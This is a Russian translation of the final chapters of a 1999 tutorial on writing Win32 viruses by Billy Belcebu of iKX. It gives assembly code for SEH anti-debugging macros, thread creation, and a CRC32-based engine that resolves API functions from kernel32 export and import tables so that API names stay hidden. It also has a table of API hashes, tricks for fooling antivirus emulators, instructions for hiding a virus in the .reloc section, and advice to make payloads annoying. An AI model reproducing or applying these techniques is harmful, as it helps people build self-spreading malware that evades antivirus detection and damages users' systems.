 start:
        push    offset exception_handler        ; Push'им смещение нашего
                                                ; обработчика
        push    dword ptr fs:[0000h]            ;
        mov     dword ptr fs:[0000h],esp

 errorhandler:
        mov     esp,[esp+8]                     ; Помещаем смещ. ориг. SEH
                                                ; Ошибка дает нам старый ESP
                                                ; в [ESP+8]

        pop     dword ptr fs:[0000h]            ; Восст. старый SEH-обработчик

        push    1010h                           ; Параметры для MessageBoxA
        push    offset szTitle
        push    offset szMessage
        push    00h
        call    MessageBoxA                     ; Показываем сообщене :]

        push    00h
        call    ExitProcess                     ; Выходим из приложения

 setupSEH:
        xor     eax,eax                         ; Генерируется исключение
        div     eax

 end    start
;---[ CUT HERE ]-------------------------------------------------------------

Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):

; Put SEH - Sets a new SEH handler

; Put SEH - Устанавливаем новый SEH-обработчик

pseh    macro   what2do
        local   @@over_seh_handler
        call    @@over_seh_handler
        mov     esp,[esp+08h]
        what2do
@@over_seh_handler:
        xor     edx,edx
        push    dword ptr fs:[edx]
        mov     dword ptr fs:[edx],esp
        endm

; Restore SEH - Восстанавливает старый SEH-обработчик

rseh    macro
        xor     edx,edx
        pop     dword ptr fs:[edx]
        pop     edx
        endm

 Использовать эти макросы очень просто. Например:

        pseh    >jmp SEH_handler&rt;
        div     edx
        push    00h
        call    ExitProcess
SEH_handler:
        rseh
        [...]

Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :)

Мультитредность

Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).

Ок, основное назначение мультизадачной процедуры следующее:

  1. Создайте соответствующую ветвь кода, которую вы хотите запустить
  2. Подождите, пока дочерний процесс закончится в коде родительского процесса

Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 Функция CreateThread создает тред, выполняющийся внутри адресного пространства
 вызывающего функцию процесса.

 HANDLE CreateThread(
   LPSECURITY_ATTRIBUTES lpThreadAttributes,  // указ. на аттр. безоп. треда
   DWORD dwStackSize,                  // нач. размер стека треда в байтах
   LPTHREAD_START_ROUTINE lpStartAddress,    // указатель на функцию треда
   LPVOID lpParameter,                   // аргументы для нового треда
   DWORD dwCreationFlags,                       // флаги создания
   LPDWORD lpThreadId        // указатель на возвращенный идентификатор треда
  );

 Параметры
 ---------

 • lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая
   определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом.
   Если lpThreadAttributes равен NULL, хэндл не может наследоваться.

 Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового
             треда. Если lpThreadAttributes равен NULL, тред получает
             дескриптор безопасности по умолчанию.

 Windows 95: поле lpSecurityDescriptor игнорируется.

 • dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то
   размер стека будет равен размеру стека главного треда процесса. Стек
   автоматически выделяется в адресном пространстве процесса и освобождается,
   когда тред завершает свое выполнение. Обратите внимание на то, что размер
   стека увеличивается по необходимости. CreateThread пытается выделить
   указанное количество байтов, а если это не удается, возвращает ошибку.

 • lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции,
   имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель
   в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом
   является:

 DWORD WINAPI ThreadFunc( LPVOID );

 • lpParameter: задает 32-х битное значение, которое будет передано треду в
   качестве аргумента.

 • dwCreationFlags: задает дополнительные флаги, контролирующие создание
   треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном
   состоянии и начнет свое выполнение только тогда, когда будет вызвана функция
   ResumeThread. Если это значение равно нулю, тред начинает выполняться
   немедленно после создания. На данный момент другие значения не
   поддерживаются.

 • lpThreadId: указывает на 32-х битную переменную, которая получает
   идентификатор треда.

 Возвращаемые значения
 ---------------------

 • Если вызов функции прошел успешно, возвращаемое значение является хэндлом
   нового треда.

 • Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы
   получить дополнительную информацию об ошибке, вызовите GetLastError.

 Windows 95: CreateThread успешно выполняется только тогда, когда она
 вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать
 дополнительный тред, если эта DLL была вызвана 16-ти битной программой.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 Функция WaitForSingleObject возвращает управление программе, когда случается
 одно из следующего:

 • Указанный объект находится в сигнализирующем состоянии.

 • Закончился заданный интервал времени

 DWORD WaitForSingleObject(
   HANDLE hHandle,                           // хэндл ожидаемого объекта
   DWORD dwMilliseconds                  // интервал таймаута в миллисекундах
  );

 Параметры
 ---------

 • hHandle: идентифицирует объект.

 Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE.

 • dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает
   управление, если заданное время закончилось, даже если объект находится в
   несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция
   тестирует состояние объекта и возвращает управление немедленно. Если
   dwMilliseconds равно INFINITE, интервал таймаута бесконечен.

 Возвращаемые значения
 ---------------------

 • Если вызов функции прошел успешно, возвращаемое значение указывает событие,
   которое заставило функцию вернуться.

 • Если вызов функции прошел неуспешно, возвращаемое значение равно
   WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите
   GetLastError.

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.

;---[ CUT HERE ]-------------------------------------------------------------
       .586p
       .model flat

extrn   CreateThread:PROC
extrn   WaitForSingleObject:PROC
extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

       .data
tit1           db      "Parent Process",0
msg1           db      "Spread your wings and fly away...",0
tit2           db      "Child Process",0
msg2           db      "Billy's awesome bullshit!",0

lpParameter    dd      00000000h
lpThreadId     dd      00000000h

       .code

multitask:
        push    offset lpThreadId             ; lpThreadId
        push    00h                           ; dwCreationFlags
        push    offset lpParameter            ; lpParameter
        push    offset child_process          ; lpStartAddress
        push    00h                           ; dwStackSize
        push    00h                           ; lpThreadAttributes
        call    CreateThread

; EAX = Thread handle

        push    00h                           ; 'Parent Process' blah blah
        push    offset tit1
        push    offset msg1
        push    00h
        call    MessageBoxA

        push    0FFh                          ; Ждем бесконечно
        push    eax                           ; Хэндл ожидаемого объекта (тред)
        call    WaitForSingleObject

        push    00h                           ; Выходим из программы
        call    ExitProcess

child_process:
        push    00h                           ; 'Child Process' blah blah
        push    offset tit2
        push    offset msg2
        push    00h
        call    MessageBoxA
        ret

end     multitask
;---[ CUT HERE ]-------------------------------------------------------------

Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.

Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)

Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).

CRC32 (IT/ET)

Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно легко, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?

Решение: CRC32

Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно поглядеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработанный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура получения CRC32
;  -------------------------
;
; на входе:
;        ESI = смещение, блока байтов, чей CRC32 должен быть вычислен
;        EDI = размер этого блока
; на выходе:
;        EAX = CRC32 данного блока
;

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Оптимизировано мно - на 2
        dec     ecx                             ; байта меньше
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; на 1 байт меньше
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp
;---[ CUT HERE ]-------------------------------------------------------------

Хорошо, теперь мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_ET_CRC32
;  -------------------------
;
; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов
; KERNEL32 (после небольших изменений она будет работать для любой DLL), но
; теперь требуется только CRC32 API-функции, а не вся строка :). Также
; потребуется процедура для получения CRC32 вроде той, которую я привел выше.
;
; на входе:
;        EAX = CRC32 имени функции в формате ASCIIz
; на выходе:
;        EAX = адрес API-функции
;

 GetAPI_ET_CRC32 proc
        xor     edx,edx
        xchg    eax,edx                         ; Помещаем CRC32 функции в EDX
        mov     word ptr [ebp+Counter],ax       ; Сбрасываем счетчик
        mov     esi,3Ch
        add     esi,[ebp+kernel]                ; Получаем PE-заголовок KERNEL32
        lodsw
        add     eax,[ebp+kernel]                ; Нормализуем

        mov     esi,[eax+78h]                   ; Получаем указатель на
        add     esi,1Ch                         ; таблицу экспортов
        add     esi,[ebp+kernel]

        lea     edi,[ebp+AddressTableVA]        ; Указатель на таблицу адресов
        lodsd                                   ; Получаем значение AddressTable
        add     eax,[ebp+kernel]                ; Нормализуем
        stosd                                   ; И сохраняем в ее переменной

        lodsd                                   ; Получаем значение NameTable
        add     eax,[ebp+kernel]                ; Нормализуем
        push    eax                             ; Помещаем ее на стек
        stosd                                   ; Сохраняем в ее переменной

        lodsd                                   ; Получаем значение OrdinalTable
        add     eax,[ebp+kernel]                ; Нормализуем
        stosd                                   ; Сохраняем

        pop     esi                             ; ESI = NameTable VA

 @?_3:  push    esi                             ; Снова сохраняем
        lodsd                                   ; Получ. указ. на имя API-ф-ции
        add     eax,[ebp+kernel]                ; Нормализуем
        xchg    edi,eax                         ; Сохраняем указатель в EDI
        mov     ebx,edi                         ; И в EBX

        push    edi                             ; Сохраняем EDI
        xor     al,al                           ; Доходим до NULL'а
        scasb                                   ; Это конец имени API-функции
        jnz     $-1
        pop     esi                             ; ESI = Указ. на имя API-ф-ции

        sub     edi,ebx                         ; EDI = Размер имени API-ф-ции

        push    edx                             ; Сохраняем CRC32 функции
        call    CRC32                           ; Получаем текущий CRC функции
        pop     edx                             ; Восстанавливаем CRC32 функции
        cmp     edx,eax                         ; Они совпадают?
        jz      @?_4                            ; Если да, это то, что нам надо

        pop     esi                             ; Восст. указ. на имя функции
        add     esi,4                           ; Переходим к следующему
        inc     word ptr [ebp+Counter]          ; И увеличиваем знач. счетчика
        jmp     @?_3                            ; Получаем следующую API-ф-цию!
 @?_4:
        pop     esi                             ; Убираем мусор из стека
        movzx   eax,word ptr [ebp+Counter]      ; AX = счетчик
        shl     eax,1                           ; *2 (это массив слов)
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем
        xor     esi,esi                         ; Очищаем ESI
        xchg    eax,esi                         ; ESI = Указ. на ординал; EAX=0
        lodsw                                   ; В AX получаем ординал
        shl     eax,2                           ; И с его помощью переходим к
        add     eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив
        xchg    esi,eax                         ; двойных слов)
        lodsd                                   ; Получаем адресс API RVA
        add     eax,[ebp+kernel]                ; и нормализуем!! Все!
        ret
 GetAPI_ET_CRC32 endp

 AddressTableVA dd      00000000h               ;\
 NameTableVA    dd      00000000h               ; &rt; В ЭТОМ ПОРЯДКЕ!!
 OrdinalTableVA dd      00000000h               ;/

 kernel         dd      0BFF70000h              ; Подгоните под свои нужды ;)
 Counter        dw      0000h
;---[ CUT HERE ]-------------------------------------------------------------

Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_IT_CRC32
;  -------------------------
;
; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает
; с переданным процедуре. Это полезно для создания перпроцессных резидентов
; (смотри главу "Перпроцессная резидентность" в данном туториале).
;
; на входе:
;        EAX = CRC32 имени API-функции в формате ASCIIz
; на выходе:
;        EAX = адрес API-функции
;        EBX = указатель на адрес API-функции в таблице импортов
;        CF  = устанавливаем, если вызов функции не удался
;

 GetAPI_IT_CRC32 proc
        mov     dword ptr [ebp+TempGA_IT1],eax  ; Сохранить CRC32 API-функции
                            ; на будущее

        mov     esi,dword ptr [ebp+imagebase]   ; ESI = база образа
        add     esi,3Ch                         ; Получ. указ. на PE-заголовок
        lodsw                                   ; AX = тот указатель
        cwde                                    ; Очищаем MSW EAX'а
        add     eax,dword ptr [ebp+imagebase]   ; Нормализуем указатель
        xchg    esi,eax                         ; ESI = такой указатель
        lodsd                                   ; Получаем DWORD

        cmp     eax,"EP"                        ; Это метка PE?
        jnz     nopes                           ; Нет... duh!

        add     esi,7Ch                         ; ESI = PE-заголовок+80h
        lodsd                                   ; Ищем .idata
        push    eax
        lodsd                                   ; Получаем размер
        mov     ecx,eax
        pop     esi
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем

 SearchK32:
        push    esi                             ; Сохраняем ESI в стек
        mov     esi,[esi+0Ch]                   ; ESI = указатель на имя
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
        lea     edi,[ebp+K32_DLL]               ; Указатель на 'KERNEL32.dll'
        mov     ecx,K32_Size                    ; Размер строки
        cld                                     ; Очищаем флаг направления
        push    ecx                             ; Сохраняем ECX
        rep     cmpsb                           ; Сохраняем байты
        pop     ecx                             ; Восстанавливаем ECX
        pop     esi                             ; Восстанавливаем ESI
        jz      gotcha                          ; Были ли они равны? Черт...
        add     esi,14h                         ; Получаем другое поле
        jmp     SearchK32                       ; И ищем снова
 gotcha:
        cmp     byte ptr [esi],00h              ; Это OriginalFirstThunk 0?
        jz      nopes                           ; Проклятье, если так...
        mov     edx,[esi+10h]                   ; Получаем FirstThunk
        add     edx,dword ptr [ebp+imagebase]   ; Нормализуем
        lodsd                                   ; Получаем его
        or      eax,eax                         ; Это 0?
        jz      nopes                           ; Проклятье...

        xchg    edx,eax                         ; Получаем указатель на него
        add     edx,[ebp+imagebase]
        xor     ebx,ebx
 loopy:
        cmp     dword ptr [edx+00h],00h         ; Последний RVA?
        jz      nopes                           ; Проклятье...
        cmp     byte ptr  [edx+03h],80h         ; Ординал?
        jz      reloop                          ; Проклятье...

        mov     edi,[edx]                       ; Получаем указатель на
        add     edi,dword ptr [ebp+imagebase]   ; импортированную API-функцию
        inc     edi
        inc     edi
        mov     esi,edi                         ; ESI = EDI

        pushad                                  ; Сохраняем все регистры
        eosz_edi                                ; В EDI получаем конец строки
        sub     edi,esi                         ; EDI = размер имени функции

        call    CRC32
        mov     [esp+18h],eax                   ; В ECX - результат после POPAD
        popad

        cmp     dword ptr [ebp+TempGA_IT1],ecx  ; CRC32 данной API-функции
        jz      wegotit                         ; совпадает с той, которая
                            ; нам нужна?
 reloop:
        inc     ebx                             ; Если, совершаем следующий
        add     edx,4                           ; проход и ищем нужную функцию
                            ; в таблице импортов
        loop    loopy
 wegotit:
        shl     ebx,2                           ; Умножаем на 4
        add     ebx,eax                         ; Добавляем FirstThunk
        mov     eax,[ebx]                       ; EAX = адрес API-функции
        test    al,00h                          ; Пересечение: избегаем STC :)
        org     $-1
 nopes:
        stc
        ret
 GetAPI_IT_CRC32 endp

 TempGA_IT1     dd      00000000h
 imagebase      dd      00400000h
 K32_DLL        db      "KERNEL32.dll",0
 K32_Size       equ     $-offset K32_DLL

;---[ CUT HERE ]-------------------------------------------------------------

Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечислю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.

CRC32 некоторых API-функций:

 Имя API-функции        CRC32        Имя API-функции        CRC32
 ---------------        -----        ---------------        -----
 CreateFileA            08C892DDFh   CloseHandle            068624A9Dh
 FindFirstFileA         0AE17EBEFh   FindNextFileA          0AA700106h
 FindClose              0C200BE21h   CreateFileMappingA     096B2D96Ch
 GetModuleHandleA       082B618D4h   GetProcAddress         0FFC97C1Fh
 MapViewOfFile          0797B49ECh   UnmapViewOfFile        094524B42h
 GetFileAttributesA     0C633D3DEh   SetFileAttributesA     03C19E536h
 ExitProcess            040F57181h   SetFilePointer         085859D42h
 SetEndOfFile           059994ED6h   DeleteFileA            0DE256FDEh
 GetCurrentDirectoryA   0EBC6C18Bh   SetCurrentDirectoryA   0B2DBD7DCh
 GetWindowsDirectoryA   0FE248274h   GetSystemDirectoryA    0593AE7CEh
 LoadLibraryA           04134D1ADh   GetSystemTime          075B7EBE8h
 CreateThread           019F33607h   WaitForSingleObject    0D4540229h
 ExitThread             0058F9201h   GetTickCount           0613FD7BAh
 FreeLibrary            0AFDF191Fh   WriteFile              021777793h
 GlobalAlloc            083A353C3h   GlobalFree             05CDF6B6Ah
 GetFileSize            0EF7D811Bh   ReadFile               054D8615Ah
 GetCurrentProcess      003690E66h   GetPriorityClass       0A7D0D775h
 SetPriorityClass       0C38969C7h   FindWindowA            085AB3323h
 PostMessageA           086678A04h   MessageBoxA            0D8556CF7h
 RegCreateKeyExA        02C822198h   RegSetValueExA         05B9EC9C6h
 MoveFileA              02308923Fh   CopyFileA              05BD05DB1h
 GetFullPathNameA       08F48B20Dh   WinExec                028452C4Fh
 CreateProcessA         0267E0B05h   _lopen                 0F2F886E3h
 MoveFileExA            03BE43958h   CopyFileExA            0953F2B64h
 OpenFile               068D8FC46h

Вам нужен CRC32 другой функции?

Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.

;---[ CUT HERE ]-------------------------------------------------------------

        .586
        .model  flat
        .data

 extrn          ExitProcess:PROC
 extrn          MessageBoxA:PROC
 extrn          GetCommandLineA:PROC

 titulo         db "GetCRC32 by Billy Belcebu/iKX",0

 message        db "SetEndOfFile"               ; Поместите здесь строку, чей
                                                ; CRC32 вам нужно узнать
 _              db 0
                db "CRC32 is "
 crc32_         db "00000000",0

        .code

 test:
        mov     edi,_-message
        lea     esi,message                     ; Загружаем указатель на имя
                                                ; API-функции
        call    CRC32                           ; Получаем CRC32

        lea     edi,crc32_                      ; Конвертируем hex в текст
        call    HexWrite32

        mov     _," "                           ; Пусть 0 станет пробелом

        push    00000000h                       ; Отображаем messagebox с
        push    offset titulo                   ; именем API-функции и ее CRC32
        push    offset message
        push    00000000h
        call    MessageBoxA

        push    00000000h
        call    ExitProcess

 HexWrite8      proc                            ; Этот код был взят из носителя
        mov     ah,al                           ; 1-ого поколения вируса
        and     al,0Fh                          ; Bizatch
        shr     ah,4
        or      ax,3030h
        xchg    al,ah
        cmp     ah,39h
        ja      @@4
 @@1:
        cmp     al,39h
        ja      @@3
 @@2:
        stosw
        ret
 @@3:
        sub     al,30h
        add     al,'A' - 10
        jmp     @@2
 @@4:
        sub     ah,30h
        add     ah,'A' - 10
        jmp     @@1
 HexWrite8      endp

 HexWrite16     proc
        push    ax
        xchg    al,ah
        call    HexWrite8
        pop     ax
        call    HexWrite8
        ret
 HexWrite16     endp

 HexWrite32     proc
        push    eax
        shr     eax, 16
        call    HexWrite16
        pop     eax
        call    HexWrite16
        ret
 HexWrite32     endp

 CRC32          proc
        cld
        xor     ecx,ecx                         ; Оптимизировано мной - на 2
                            ; байта меньше
        dec     ecx
        mov     edx,ecx
 NextByteCRC:
        xor     eax,eax
        xor     ebx,ebx
        lodsb
        xor     al,cl
        mov     cl,ch
        mov     ch,dl
        mov     dl,dh
        mov     dh,8
 NextBitCRC:
        shr     bx,1
        rcr     ax,1
        jnc     NoCRC
        xor     ax,08320h
        xor     bx,0EDB8h
 NoCRC: dec     dh
        jnz     NextBitCRC
        xor     ecx,eax
        xor     edx,ebx
        dec     edi                             ; на 1 байт меньше
        jnz     NextByteCRC
        not     edx
        not     ecx
        mov     eax,edx
        rol     eax,16
        mov     ax,cx
        ret
 CRC32          endp

 end    test
;---[ CUT HERE ]-------------------------------------------------------------

Круто, правда? :)

Антиэмуляторы

Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

- Генерирование ошибок с помощью SEH. Пример:

        pseh    >jmp virus_code&rt;
        dec     byte ptr [edx] ; >-- или другое исключение, например 'div edx'
        [...] >-- если мы здесь, нас отлаживают!
 virus_code:
        rseh
        [...] >-- код вируса :)

- Использование сегментного префикса CS. Например:

        jmp     cs:[shit]
        call    cs:[shit]

- Использование RETF. Пример:

        push    cs
        call    shit
        retf

- Игра с DS. Пример:

        push    ds
        pop     eax

или даже лучше:

        push    ds
        pop     ax

или еще лучше:

        mov     eax,ds
        push    eax
        pop     ds

- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

        mov     ebx,esp
        push    cs
        pop     eax
        cmp     esp,ebx
        jne     nod_ice_detected

- Использование недокументированных опкодов:

        salc    ; db 0D6h
        bpice   ; db 0F1h

- Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :).

Перезапись секции .reloc

Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.

Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:

В заголовке секции:

  • В качестве нового VirtualSize установите размер вируса + его кучу
  • В качестве нового SizeOfRawData установите выравненный VirtualSize
  • Очистите PointerToRelocations и NumberOfRelocations
  • Измените имя '.reloc' на какое-нибудь другое.

Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.


Путеводитель по написанию вирусов под Win32: 11. Заключение

11. Заключение

Приложение 1: Полезная нагрузка

Поскольку мы работаем с графической OS, наша полезная нагрузка может быть весьма впечатляющей. Конечно, я не хотел бы больше видеть такие виды полезной нагрузки, которую продемонстрировали CIH и Kriz. Лучше взгляните на Marburg, HPS, Sexy2, Hatred, PoshKiller, Harrier и многие другие вирусы. Они действительно рулят. Разумеется, стоит взглянуть на вирусы с несколькими нагрузками, такими как Girigat и Thorin.

Просто подумайте о том, что пользователь не заметит присутствие вируса, пока вы сами не дадите ему знать об этом. Поэтому полезная нагрузка - это своего рода отображение всей вашей работы.

Есть много вещей, который вы можете сделать: сменить обои, изменить некоторые системные строки (как мой Legacy), вы можете показать ему веб-страницы, вы можете вывести что-нибудь на экран из-под Ring-0 (как Sexy2 и PoshKiller) и так далее. Просто исследуйте немного справочник по Win32 API. Попытайтесь сделать вашу нагрузку как можно более назойливой :).

Приложение 2: Об авторе

Хей :). Я решил посвятить эту секцию самому себе. Можете назвать меня эгоистичным, высокомерным или надменным. Я знаю, что я таковым не являюсь :). Я просто хочу вам рассказать немного о человеке, который пытался научить вас полезным вещам с помощью данного туториала (Billy Belcebu имеет в виду себя - прим. пер.). Я 16-летний парень из Испании. У меня есть собственный взгляд на мир, собственные политические идеи. Я верю в идеалы, и я думаю, что мы можем сделать что-нибудь, чтобы спасит наше больное общество. Я не хочу жить там, где деньги котируются превыше жизни (любой: людей, зверей, овощей (хмм... - прим. пер.)), где понятием демократии извращается людьми из правительства (это не только проблема Испании, но также и других стран - США, Великобритании, Франции и т.д.). Демократия (я думаю, что коммунизм был бы лучше (спасибо, не надо, уже наелись - прим. пер.), но если нет ничего лучше демократии...) всем жителям страны выбирать свое будущее. Брр, я уже устал писать подобные вещи, это все равно, что говорить со стеной :).

Ок, ок, я лучше немного поговорю о своей работе. Я создатель следующих вирусов:

 + Пока был в DDT,
        - Antichrist Superstar                   [ Никогда не был зарелизен ]
        - Win9x.Garaipena                                 [ AVP: Win95.Gara ]
        - Win9x.Iced Earth                           [ AVP: Win95.Iced.1617 ]

 + Пока был в iKX,
        - Win32.Aztec v1.00, v1.01                   [ AVP: Win95.Iced.1412 ]
        - Win32.Paradise v1.00                       [ AVP: Win95.Iced.2112 ]
        - Win9x.PoshKiller v1.00
        - Win32.Thorin v1.00
        - Win32.Legacy v1.00
        - Win9x.Molly
        - Win32.Rhapsody

 Также несколько движков:

        - LSCE v1.00                       [Little Shitty Compression Engine]
        - THME v1.00                             [The Hobbit Mutation Engine]
        - MMXE v1.00, v1.01                    [MultiMedia eXtensions Engine]
        - PHIRE v1.00                [Polymorphic Header Idiot Random Engine]
        - iENC v1.00                                     [Internal ENCryptor]

И я написал несколько туториалов, но я не буду перечислять их здесь :).

В настоящее время я являюсь членом группы iKX. Как вы знаете, iKX расшифровывается как International Knowledge eXchange. В прошлом я был организатором DDT. Я считаю себя антифашистом, защитником прав человека, антимилитаристом и врагом всех, кто обижает женщин и маленьких детей. Я верю только в себя, не верю в какую-либо религию и фанатизм.

Также важную роль (кроме друзей) в моей жизни играет музыка. Во время написания данных строк я, как обычно, слушаю музыку :).

Для получения большей информации обо мне и моих релизах, посетите мою домашнюю страницу.

Напоследок

Еще один туториал подошел к концу... В какой-то мере его было немного скучно писать (хей, я человек, я предпочитаю программировать, а не писать), но во мне всегда жива надежда, что у того, кто будет читать результаты моих трудов, возникнут новые идеи. Как я уже сказал в введении, почти весь код, приведенный в данном туториале, написан мной (в отличии от того, что было в DOS'овском путеводителе). Я надеюсь, что это поможет вам.

Я знаю, что не затронул некоторых вещей, например заражение с помощью добавления новой секции или технику "Call Gate" или "вставка VMM" для перехода в Ring-0. Я всегда пытался сделать туторилы как можно проще. Теперь вы можете решить, было ли это правильным выбором или нет. Время покажет.

Этот документ посвящен людям, которые помогали мне, когда я делал свои первые шаги в программировании под Win32: zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah, Benny, Jacky Qwerty (не добровольная помощь, но тем не менее...), Lord Julus (да, я многому научился из его туториалов!), StarZer0 и многих других. Конечно, также заслуживают упоминания Int13h, Owl, VirusBuster, Wintermute, Somniun, SeptiC, TechnoPhuk, SlageHammer и, конечно, вы - мой читатель. Это было написано для вас!

- Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)

- Лучше умереть, стоя в полный рост, чем жить, стоя на коленях - (Эрнесто "Че" Гевара)

Валенсия, 6 сентября 1999.

(c) 1999 Billy Belcebu/iKX